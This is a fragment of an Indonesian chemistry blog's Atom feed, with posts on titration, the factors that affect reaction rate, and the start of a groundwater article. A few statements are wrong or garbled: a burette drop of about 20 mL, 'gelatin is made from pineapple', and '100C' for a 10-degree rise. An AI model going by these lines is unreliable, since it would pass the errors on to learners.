href="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwwQKkEzDKI/AAAAAAAAAOM/7r6GdW-Dn3Q/s1600/J0287641.JPG"&gt;&lt;img style="cursor: pointer; width: 285px; height: 400px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwwQKkEzDKI/AAAAAAAAAOM/7r6GdW-Dn3Q/s400/J0287641.JPG" alt="" id="BLOGGER_PHOTO_ID_5407715026233658530" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(204, 0, 0);"&gt;C. Reaksi Netralisasi&lt;/span&gt;&lt;br /&gt;1. Proses Titrasi&lt;br /&gt;Salah satu aplikasi stoikiometri larutan adalah perhitungan mencari molaritas atau kadar suatu zat dalam larutan sampel melalui suatu proses yang disebut analisis volumetri. Analisis volumetri adalah analisis kimia kuantitatif yang dilakukan dengan jalan mengukur volume suatu larutan standar yang tepat bereaksi (bereaksi sempurna) dengan larutan yang dianalisis. Misalnya akan dicari molaritas larutan Z, maka ke dalam larutan Z ditambahkan larutan standar sehingga terjadi reaksi sempurna antara larutan Z dengan larutan standar.Larutan standar adalah larutan yang konsentrasi atau molaritasnya telah diketahui secara pasti.Larutan standar ada 2 macam, yaitu larutan standar primer dan larutan standar sekunder. Larutan standar primer adalah larutan standar yang setelah dibuat, dapat langsung dipakai untuk ditambahkan ke dalam larutan yang akan dicari konsentrasinya. Larutan standar sekunder adalah larutan standar yang setelah dibuat tidak dapat langsung digunakan, tetapi harus dicek lagi konsentrasinya atau molaritasnya dengan menambahkan larutan standar primer. Proses pengecekan larutan standar sekunder dengan larutan standar primer disebut dengan standarisasi.&lt;br /&gt;Proses penambahan larutan standar ke dalam larutan Z (yang akan ditentukan konsentrasinya) disebut dengan titrasi. Proses penambahan ini dilakukan sedikit demi sedikit (tetes demi tetes) memakai suatu alat yang disebut buret. Setiap satu tetes larutan standar yang keluar dari buret volumenya ± 20 mL. Zat yang akan dititrasi ditempatkan dalam erlenmeyer.&lt;br /&gt;Saat terjadinya reaksi sempurna antara larutan standar dengan larutan yang dianalisis disebut titik akhir titrasi. Pada saat titik ini dicapai, titrasi dihentikan.&lt;br /&gt;Dalam analisis volumetri, reaksi yang terjadi antara larutan standar dengan larutan yang dianalisis harus memenuhi beberapa syarat, antara lain:&lt;br /&gt;1. Reaksi kimia yang terjadi harus sederhana dan persamaan reaksinya mudah ditulis.&lt;br /&gt;2. Reaksi harus dapat berjalan cepat. Tetesan terakhir dari larutan standar harus sudah dapat menunjukkan reaksi sempurna. Jika tidak, maka akan terjadi kesalahan titrasi.&lt;br /&gt;3. Pada saat reaksi sempurna (titik akhir titrasi) tercapai, harus ada pembahan fisik atau sifat kimia yang dapat diamati atau indikasi perubahan dapat diketahui dengan menambahkan larutan indikator ke dalam larutan yang akan dititrasi atau dapat pula disebabkan oleh warna larutan standarnya sendiri.&lt;br /&gt;Sebagai contoh, reaksi penetralan larutan NaOH dengan larutan HC1. Baik larutan NaOH maupun larutan HC1 adalah berwarna bening. Hasil reaksinya(NaCI dan H20), juga berwarna bening, sehingga titik akhir titrasi tidak dapat diamati. Untuk itu, ke dalam larutan yang dititrasi (larutan NaOH), ditambahkan larutan indikator, misalnya indikator fenolftalein, disingkat (pp) yaitu suatu indikator yang dalam larutan basa memberikan warna merah dan dalam larutan yang bersifat asam tidak berwarna. Penambahan indikator ini menggunakan pipet tetes. Banyaknya larutan indikator yang ditambahkan cukup satu atau 2 tetes. Titrasi larutan NaOH dengan HC1 memakai indikator pp, dan titik akhir titrasi tercapai pada saat tetesan terakhir penambahan larutan HCl memberikan perubahan warna.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwwNqzEY3YI/AAAAAAAAAOE/YJL6orlwILI/s1600/116365_Full.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 309px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwwNqzEY3YI/AAAAAAAAAOE/YJL6orlwILI/s400/116365_Full.jpg" alt="" id="BLOGGER_PHOTO_ID_5407712281479404930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;2. Titrasi Asam Basa&lt;br /&gt; Salah satu penerapan konsep reaksi netralisasi adalah dalam titrasi asam basa. Dalam titrasi asam basa, nilai tetapan kesetimbangan ionisasi digunakan sebagai tolok ukur untuk penentuan pH larutan saat tercapainya titik ekuivalen. Titik ekuivalen atau titik akhir teoritis adalah saat banyaknya asam atau basa yang ditambahkan tepat setara secara stokiometri dengan banyaknya basa atau asam yang terdapat dalam •larutan yang dianalisis.&lt;br /&gt;  Rumus yang dapat digunakan untuk menentukan konsentrasi larutan sampel adalah sebagai berikut:&lt;br /&gt;Mol sampel                    =                mol standar&lt;br /&gt;Msampel Vsampel               =                Mstandar Vstandar&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5086261943719715810-2891554627648849158?l=achmadkimia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://achmadkimia.blogspot.com/feeds/2891554627648849158/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://achmadkimia.blogspot.com/2009/11/hukum-hukum-dasar-kimia-dan-perhitungan.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/2891554627648849158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/2891554627648849158'/><link rel='alternate' type='text/html' href='http://achmadkimia.blogspot.com/2009/11/hukum-hukum-dasar-kimia-dan-perhitungan.html' title='Hukum-hukum dasar kimia dan perhitungan kimia (stoikiometri)'/><author><name>achmad</name><uri>http://www.blogger.com/profile/13849140095283170169</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://1.bp.blogspot.com/_lylI1wyyUFQ/So8PRPcL_KI/AAAAAAAAAAo/9mHpDhuPmXU/S220/f0toQ2474.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_lylI1wyyUFQ/SwwGHyLubuI/AAAAAAAAAMk/746YO_Ck4k8/s72-c/history_science.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5086261943719715810.post-3652172903518779647</id><published>2009-11-24T07:13:00.000-08:00</published><updated>2009-11-24T08:01:46.820-08:00</updated><title type='text'>Faktor-faktor Yang Mempengaruhi Laju Reaksi</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_lylI1wyyUFQ/Swv5madClAI/AAAAAAAAAL0/lOOu43KjF8g/s1600/chemistry-ms.jpg"&gt;&lt;img style="cursor: pointer; width: 366px; height: 229px;" src="http://1.bp.blogspot.com/_lylI1wyyUFQ/Swv5madClAI/AAAAAAAAAL0/lOOu43KjF8g/s400/chemistry-ms.jpg" alt="" id="BLOGGER_PHOTO_ID_5407690215919883266" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(153, 0, 0);"&gt;Konsentrasi&lt;/span&gt;&lt;br /&gt;Telah diuraikan dalam teori tumbukan, perubahan jumlah molekul pereaksi dapat berpengaruh pada laju suatu reaksi. Kita telah tahu bahwa jumlah mol spesi zat terlarut dalam 1 liter larutan dinamakan konsentrasi molar. Bila konsentrasi pereaksi diperbesar dalam suatu reaksi, berarti kerapatannya bertambah dan akan memperbanyak kemungkinan tabrakan sehingga akan mempercepat laju reaksi.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Bila partikel makin banyak, akibatnya lebih banyak kemungkinan partikel saling bertumbukan yang terjadi dalam suatu larutan, sehingga reaksi bertambah cepat.&lt;br /&gt;coba pikirkan, apa yang terjadi bila dalam suatu kolam makin banyak perahu yang berjalan? Pasti akan terjadi banyak kemungkinan saling bertabrakan. Dan apa yang akan terjadi jika dalam suatu arus lalu lintas terdapat  makin banyak kendaraan ? pasti tingkat kemungkinan terjadinya tarakan makin besar pula bukan ? (stop.. cukup sampai disitu aja bayanginnya, jangan diterusin.. kapan2 aja lagi.. hehe)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(153, 0, 0);"&gt;Luas Permukaan Sentuhan&lt;/span&gt;&lt;br /&gt;Suatu reaksi mungkin banyak melibatkan pereaksi dalam bentuk padatan. Coba pikirkan keterangan ini(sambil dibayangkan atau dicoret-coret di buku juga boleh, kalau memang dapat membuat saudara2 lebih mengerti lagi.. hehe,, up to you lah,, ): bila kita mempunyai kubus dengan ukuran panjang, lebar dan tinggi masing-masing 1cm. Luas permukaan kubus bagian depan 1 cm x 1 cm = 1 cm2. Luas permukaan bagian belakang, kiri, kanan, atas dan bawah, masing-masing juga 1cm2 . Jadi luas permukaan seluruhnya 6 cm2.&lt;br /&gt;Kemudian kubus tersebut kita pecah jadi dua, maka luas permukaan salah satu kubus hasil pecahan tadi adalah 2(1 cm x 1 cm) + 4 (0,5 cm x 1 cm) = 4 cm2. Berarti luas dua kubus hasil pecahan adalah 8 cm2. Apa yang dapat Anda simpulkan mengenai hal ini? Jadi makin kecil pecahan tersebut, luas permukaannya makin besar.&lt;br /&gt;Bila kubus 1 cm3 dipecah menjadi dua, maka luas permukaan sentuh meningkat dua kalinya, dan permukaan sentuh tadi bereaksi dengan cairan atau gas. Hal ini merupakan contoh bagaimana penurunan ukuran partikel dapat memperluas permukaan sentuh zat.&lt;br /&gt;Bagaimana pengaruh ukuran kepingan zat padat terhadap laju reaksi? Misalkan, kita mengamati reaksi antara batu gamping dengan larutan asam klorida (HCl). Percobaan dilakukan sebanyak dua kali, masing-masing dengan ukuran keping batu gamping yang berbeda, sedangkan faktor-faktor lainnya seperti massa batu gamping, volume larutan HCl, konsentrasi larutan HCl dan suhu dibuat sama. Dengan demikian, perubahan laju reaksi semata-mata sebagai akibat perbedaan ukuran kepingan batu gamping (kepingan halus dan kepingan kasar). Dalam hal ini, ukuran keping batu gamping kita sebut variabel manipulasi, perubahan laju reaksi (waktu reaksi) disebut variable respon, dan semua faktor lain yang dibuat tetap (sama) disebut variable kontrol.&lt;br /&gt;Mengapa kepingan yang lebih halus bereaksi lebih cepat? Pada campuran pereaksi yang heterogen, reaksi hanya terjadi pada bidang batas campuran yang selanjutnya kita sebut bidang sentuh. Oleh karena itu, makin luas bidang sentuh makin cepat bereaksi. Jadi makin halus ukuran kepingan zat padat makin luas permukaannya.&lt;br /&gt;Pengaruh luas permukaan banyak diterapkan dalam industri, yaitu dengan menghaluskan terlebih dahulu bahan yang berupa padatan sebelum direaksikan. Ketika kita makan, sangat dianjurkan untuk mengunyah makanan hingga lembut, agar proses reaksi di dalam lambung berlangsung lebih cepat dan penyerapan sari makanan lebih sempurna.&lt;br /&gt;Apa hubungannya dengan tumbukan? Makin luas permukaan gamping, makin luas bidang sentuh dengan asam klorida makin besar, sehingga jumlah tumbukannya juga makin besar. Artinya makin kecil ukuran, makin luas permukaannya, makin banyak tumbukan, makin cepat terjadinya reaksi&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 153, 0);"&gt;Suhu&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Umumnya kenaikan suhu mempercepat reaksi, dan sebaliknya penurunan suhu memperlambat reaksi. Bila kita memasak nasi dengan api besar akan lebih cepat dibandingkan api kecil. Bila kita ingin mengawetkan makanan (misalnya ikan) pasti kita pilih lemari es, mengapa? Karena penurunan suhu memperlambat proses pembusukan.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Laju reaksi kimia bertambah dengan naiknya suhu. Bagaimana hal ini dapat terjadi? Ingat, laju reaksi ditentukan oleh jumlah tumbukan. Jika suhu dinaikkan, maka kalor yang diberikan akan menambah energi kinetik partikel pereaksi. Sehingga pergerakan partikel-partikel pereaksi makin cepat, makin cepat pergerakan partikel akan menyebabkan terjadinya tumbukan antar zat pereaksi makin banyak, sehingga reaksi makin cepat.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&lt;br /&gt;Umumnya kenaikan suhu sebesar 100C menyebabkan kenaikan laju reaksi sebesar dua sampai tiga kali. Kenaikan laju reaksi ini dapat dijelaskan dari gerak molekulnya. Molekul-molekul dalam suatu zat kimia selalu bergerak-gerak. Oleh karena itu, kemungkinan terjadi tabrakan antar molekul yang ada. Tetapi tabrakan itu belum berdampak apa-apa bila energi yang dimiliki oleh molekul-molekul itu tidak cukup untuk menghasilkan tabrakan yang efektif. Kita telah tahu bahwa, energi yang diperlukan untuk menghasilkan tabrakan yang efektif atau untuk menghasilkan suatu reaksi disebut energi pengaktifan.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&lt;br /&gt;Energi kinetik molekul-molekul tidak sama. Ada yang besar dan ada yang kecil. Oleh karena itu, pada suhu tertentu ada molekul-molekul yang bertabrakan secara efektif dan ada yang bertabrakan secara tidak efektif. Dengan perkataan lain, ada tabrakan yang menghasilkan reaksi kimia ada yang tidak menghasilkan reaksi kimia. Meningkatkan suhu reaksi berarti menambahkan energi. Energi diserap oleh molekul-molekul sehingga energi kinetik molekul menjadi lebih besar. Akibatnya, molekul-molekul bergerak lebih cepat dan tabrakan dengan dampak benturan yang lebih besar makin sering terjadi. Dengan demikian, benturan antar&lt;br /&gt;&lt;br /&gt;molekul yang mempunyai energi kinetik yang cukup tinggi itu menyebabkan reaksi kimia juga makin banyak terjadi. Hal ini berarti bahwa laju reaksi makin tinggi.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(153, 0, 0);"&gt;Katalis&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Salah satu cara lain untuk mempercepat laju reaksi adalah dengan jalan menurunkan energi pengaktifan suatu reaksi. Hal ini dapat dilakukan dengan menggunakan katalis. Katalis adalah zat yang dapat meningkatkan laju reaksi tanpa dirinya mengalami perubahan kimia secara permanen. Katalis dapat bekerja dengan membentuk senyawa antara atau mengabsorpsi zat yang direaksikan.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Suatu reaksi yang menggunakan katalis disebut reaksi katalis dan prosesnya disebut katalisme. Katalis suatu reaksi biasanya dituliskan di atas tanda panah, misalnya&lt;/span&gt;&lt;br /&gt;&lt;a style="color: rgb(204, 0, 0);" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/Swv-k5yqGWI/AAAAAAAAAMU/hLLRWlF5CKo/s1600/1.jpg"&gt;&lt;img style="cursor: pointer; width: 525px; height: 218px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/Swv-k5yqGWI/AAAAAAAAAMU/hLLRWlF5CKo/s400/1.jpg" alt="" id="BLOGGER_PHOTO_ID_5407695687530453346" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Katalis menyebabkan energi pengaktifan reaksi lebih rendah&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Ada dua macam katalis, yaitu katalis positif (katalisator) yang berfungsi mempercepat reaksi, dan katalis negatif (inhibitor) yang berfungsi memperlambat laju reaksi. Katalis positif berperan menurunkan energi pengaktifan, dan membuat orientasi molekul sesuai untuk terjadinya tumbukan.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Sedangkan katalisator dibedakan atas katalisator homogen dan katalisator heterogen.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic; color: rgb(204, 0, 0);"&gt;Katalisator homogen&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Katalisator homogen adalah katalisator yang mempunyai fasa sama dengan zat yang dikatalisis. Contohnya adalah besi (III) klorida pada reaksi penguraian hidrogen peroksida menjadi air dan gas oksigen menurut persamaan :&lt;/span&gt;&lt;br /&gt;&lt;a style="color: rgb(204, 0, 0);" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/Swv-_zu-4EI/AAAAAAAAAMc/OiOvhRvX_UE/s1600/2.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 53px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/Swv-_zu-4EI/AAAAAAAAAMc/OiOvhRvX_UE/s400/2.jpg" alt="" id="BLOGGER_PHOTO_ID_5407696149760892994" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(204, 0, 0);"&gt;Katalisator heterogen&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Katalisator heterogen adalah katalisator yang mempunyai fasa tidak sama dengan zat yang dikatalisis. Umumnya katalisator heterogen berupa zat padat. Banyak proses industri yang menggunakan katalisator heterogen, sehingga proses dapat berlangsung lebih cepat dan biaya produksi dapat dikurangi.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Banyak logam yang dapat mengikat cukup banyak molekul-molekul gas pada permukannya, misalnya Ni, Pt, Pd dan V. Gaya tarik menarik antara atom logam dengan molekul gas dapat memperlemah ikatan kovalen pada molekul gas, dan bahkan dapat memutuskan ikatan itu. Akibatnya molekul gas yang teradborpsi pada permukaan logam ini menjadi lebih reaktif daripada molekul gas yang tidak terabsorbsi. Prinsip ini adalah kerja dari katalis heterogen, yang banyak dimanfaatkan untuk mengkatalisis reaksi-reaksi gas.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Di beberapa negara maju, kendaraan bermotor telah dilengkapi dengan katalis dari oksida logam atau paduan logam pada knalpotnya sehingga dapat mempercepat reaksi antara gas CO dengan udara. Dalam industri banyak dipergunakan nikel atau platina sebagai katalis pada reaksi hidrogenasi terhadap asam lemak tak jenuh.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Katalis platina, digunakan pada proses Oswald dalam industri asam nitrat, pengubah katalitik pada knalpot kendaraan bermotor&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Katalisator enzim&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Katalis sangat diperlukan dalam reaksi zat organik, termasuk dalam organisme. Reaksi-reaksi metabolisme dapat berlangsung pada suhu tubuh yang realtif rendah berkat adanya suatu biokatalis yang disebut enzim. Enzim dapat meningkatkan laju reaksi dengan faktor 106 hingga 1018, namun hanya untuk reaksi yang spesifik.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Dalam tubuh kita terdapat ribuan jenis enzim karena setiap enzim hanya dapat mengkatalisis satu reaksi spesifik dalam molekul (substrat) tertentu, Dalam proses katalisis enzim yang digunakan harus sesuai dengan substratnya&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Salah satu contoh adalah enzim protease yang dapat digunakan sebagai katalis dalam proses penguraian protein, namun tidak dapat mengkatalisis penguraian skharosa.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Mekanisme Reaksi&lt;/span&gt;&lt;br /&gt;Beberapa reaksi berlangsung melalui pembetukan zat antara, sebelum diperoleh produk akhir. Reaksi yang demikian berlangsung tahap demi tahap. Mekanisme reaksi ialah serangkaian reaksi tahap demi tahap yang terjadi berturut-turut selama proses perubahan reaktan menjadi produk.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/Swv7w5MlQhI/AAAAAAAAAMM/sSRMfIW-Zwo/s1600/3.jpg"&gt;&lt;img style="cursor: pointer; width: 507px; height: 139px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/Swv7w5MlQhI/AAAAAAAAAMM/sSRMfIW-Zwo/s400/3.jpg" alt="" id="BLOGGER_PHOTO_ID_5407692594994299410" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Setiap tahap mekanisme reaksi diatas, mempunyai laju tertentu. Tahap yang paling lambat (tahap 2) disebut tahap penentu laju reaksi, karen tahap ini merupakan penghalang untuk laju reaksi secara keseluruhan.&lt;br /&gt;Gelatin dibuat dari buah nanas. Buah Nanas mengandung enzim aktif protease yang dapat menguraikan molekul protein dalam gelatin Artinya, tidak ada pengaruh kenaikan laju tahap 1, 3, dan 4 terhadap reaksi total.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;mungkin cukup sampai disini aja tulisan mengenai laju reaksi pada halaman blog ini. sebenarnya tulisan ini saya tampilkan dengan alasan pada kebanyakan keterangan-keterangan yang saya cari juga di situs-situs lain hanya menyebutkan point-pointnya saja dan hal-hal terdekat yang berhubungan dengan faktor-faktor tersebut. nah jadi disini saya mencoba untuk memberikan keterangan lebih yang mudah-mudahan dapat memberikan kejelasan yang lebih pula... tapi tak ada gading yang tak retak, masih banyak kekurangan pula pada tulisan ini, jadi mohon dimaklumi apa adanya...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;hehe.. &lt;span style="color: rgb(51, 51, 255);"&gt;^_^"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5086261943719715810-3652172903518779647?l=achmadkimia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://achmadkimia.blogspot.com/feeds/3652172903518779647/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://achmadkimia.blogspot.com/2009/11/faktor-faktor-yang-mempengaruhi-laju.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/3652172903518779647'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/3652172903518779647'/><link rel='alternate' type='text/html' href='http://achmadkimia.blogspot.com/2009/11/faktor-faktor-yang-mempengaruhi-laju.html' title='Faktor-faktor Yang Mempengaruhi Laju Reaksi'/><author><name>achmad</name><uri>http://www.blogger.com/profile/13849140095283170169</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://1.bp.blogspot.com/_lylI1wyyUFQ/So8PRPcL_KI/AAAAAAAAAAo/9mHpDhuPmXU/S220/f0toQ2474.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_lylI1wyyUFQ/Swv5madClAI/AAAAAAAAAL0/lOOu43KjF8g/s72-c/chemistry-ms.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5086261943719715810.post-8467910075066868925</id><published>2009-11-24T06:30:00.000-08:00</published><updated>2009-11-24T07:06:59.946-08:00</updated><title type='text'>Airtanah? Apa dan Bagaimana Mencarinya?</title><content type='html'>&lt;div face="arial" style="text-align: justify; font-family: webdings;"&gt;Pertanyaan diatas seringkali muncul ketika sumber air yang kita gunakan selama ini seperti air sungai, danau atau air hujan tidak bisa kita dapatkan. Satu hal yang pasti ini adalah salahsatu jenis air juga&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwvwS6YPa8I/AAAAAAAAALU/4D-EJ867PZc/s1600/4.jpg"&gt;&lt;img style="cursor: pointer; width: 275px; height: 287px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwvwS6YPa8I/AAAAAAAAALU/4D-EJ867PZc/s400/4.jpg" alt="" id="BLOGGER_PHOTO_ID_5407679985287654338" border="0" /&gt;&lt;/a&gt;&lt;span class="fullpost"&gt;sekedar intro di awal halaman ini(intro ? apaan tu intro ? hehe )awalnya sih nggk niat masukin tulisan ini ke halaman blog q, tapi sekedar iseng-iseng aja, siapa tau bermanfaat bagi yang membacanya, jadi aku masukin aja tulisan ini, walaupun cuma sedikit isinya. hehe, begitu ceritanya..tulisan ini aku baca dari sebuah situs juga yang kebetulan saat itu aku dan teman2 1 klompok lagi nyari bahan buat presentasi kuliah analisis air,,, hehe. selamat membaca..&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;kembali lagi ke kalimat awal, Pertanyaan diatas seringkali muncul ketika sumber air yang kita gunakan selama ini seperti air sungai, danau atau air hujan tidak bisa kita dapatkan. Satu hal yang pasti ini adalah salahsatu jenis air juga.Hanya dikarenakan jenis air ini tidak terlihat secara langsung, banyak kesalahfahaman dalam masalah ini. Banyak orang secara umum menganggap airtanah itu sebagai suatu danau atau sungai yang mengalir di bawah tanah. Padahal, hanya dalam kasus dimana suatu daerah yang memiliki gua dibawah tanahlah kondisi ini adalah benar. Secara umum airtanah akan mengalir sangat perlahan melalui suatu celah yang sangat kecil dan atau melalui butiran antar batuan.&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/Swvx-FvUGJI/AAAAAAAAALc/4kZYSgFlfrc/s1600/1.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 152px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/Swvx-FvUGJI/AAAAAAAAALc/4kZYSgFlfrc/s400/1.jpg" alt="" id="BLOGGER_PHOTO_ID_5407681826583222418" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;(Model aliran airtanah melewati rekahan dan butir batuan)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="color: rgb(153, 0, 0); font-style: italic;"&gt;Batuan yang mampu menyimpan dan mengalirkan airtanah ini kita sebut dengan akifer. Bagaimana interaksi kita dalam penggunaan airtanah? Yang alami adalah dengan mengambil airtanah yang muncul di permukaan sebagai mataair atau secara buatan. Untuk pengambilan airtanah secara buatan, mungkin analogi yang baik adalah apabila kita memegang suatu gelas yang berisi air dan es. Apabila kita masukkan sedotan, maka akan terlihat bahwa air yang berada di dalam sedotan akan sama dengan tinggi air di gelas. Ketika kita menghisap air dalam gelas tersebut terus menerus pada akhirnya kita akan menghisap udara, apabila kita masih ingin menghisap air yang tersimpan diantara es maka kita harus menghisapnya lebih keras atau mengubah posisi sedotan. Nah konsep ini hampirlah sama dengan teknis pengambilan airtanah dalam lapisan akifer (dalam hal ini diwakili oleh es batu) dengan menggunakan pompa (diwakili oleh sedotan) &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="color: rgb(153, 0, 0); font-style: italic;"&gt;Hal yang menarik, jika kita tutup permukaan sedotan maka akan terlihat bahwa muka air di dalam sedotan akan berbeda dengan muka air didalam gelas. Perbedaan ini akan mengakibatkan pergerakan air. Sama dengan analog ini, airtanahpun akan bergerak dari tekanan tinggi menuju ke tekanan rendah. Perbedaan tekanan ini secara umum diakibatkan oleh gaya gravitasi (perbedaan ketinggian antara daerah pegunungan dengan permukaan laut), adanya lapisan penutup yang impermeabel diatas lapisan akifer, gaya lainnya yang diakibatkan oleh pola struktur batuan atau fenomena lainnya yang ada di bawah permukaan tanah. Pergerakan ini secara umum disebut gradien aliran airtanah (potentiometrik). Secara alamiah pola gradien ini dapat ditentukan dengan menarik kesamaan muka airtanah yang berada dalam satu sistem aliran airtanah yang sama.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="color: rgb(153, 0, 0); font-style: italic;"&gt;Mengapa pergerakan atau aliran airtanah ini menjadi penting? Karena disinilah kunci dari penentuan suatu daerah kaya dengan airtanah atau tidak. Perlu dicatat : tidak seluruh daerah memiliki potensi airtanah alami yang baik. &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="color: rgb(153, 0, 0); font-style: italic;"&gt;Model aliran airtanah itu sendiri akan dimulai pada daerah resapan airtanah atau sering juga disebut sebagai daerah imbuhan airtanah (recharge zone). Daerah ini adalah wilayah dimana air yang berada di permukaan tanah baik air hujan ataupun air permukaan mengalami proses penyusupan (infiltrasi) secara gravitasi melalui lubang pori tanah/batuan atau celah/rekahan pada tanah/batuan.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwvymMNxM6I/AAAAAAAAALk/S880Y8Ky9R4/s1600/2.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 271px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwvymMNxM6I/AAAAAAAAALk/S880Y8Ky9R4/s400/2.jpg" alt="" id="BLOGGER_PHOTO_ID_5407682515516339106" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;(Model siklus hidrologi, 